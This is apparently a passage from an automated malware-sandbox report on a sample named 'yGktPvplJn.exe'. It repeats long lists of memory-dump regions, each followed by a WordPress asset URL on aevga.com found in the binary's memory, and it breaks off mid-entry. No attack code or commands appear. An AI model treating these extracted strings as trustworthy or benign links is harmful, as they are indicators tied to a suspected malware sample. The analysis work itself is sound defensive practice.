Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiGyp8kv8JHgFVrLPTufntAKPY.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/designthemes-core-features/shortcodes/css/animations.css?ver=f2b
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/designthemes-core-features/shortcodes/css/shortcodes.css?ver=f2b
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/designthemes-core-features/shortcodes/css/slick.css?ver=f2be1e56
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=5.6
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/js_composer/assets/css/vc_lte_ie9.min.css
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/js_composer/assets/lib/prettyphoto/css/prettyPhoto.min.css?ver=5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/revslider/public/assets/css/settings.css?ver=5.4.8.1
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?v
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.tools.min.js?ver=5.
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/base.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 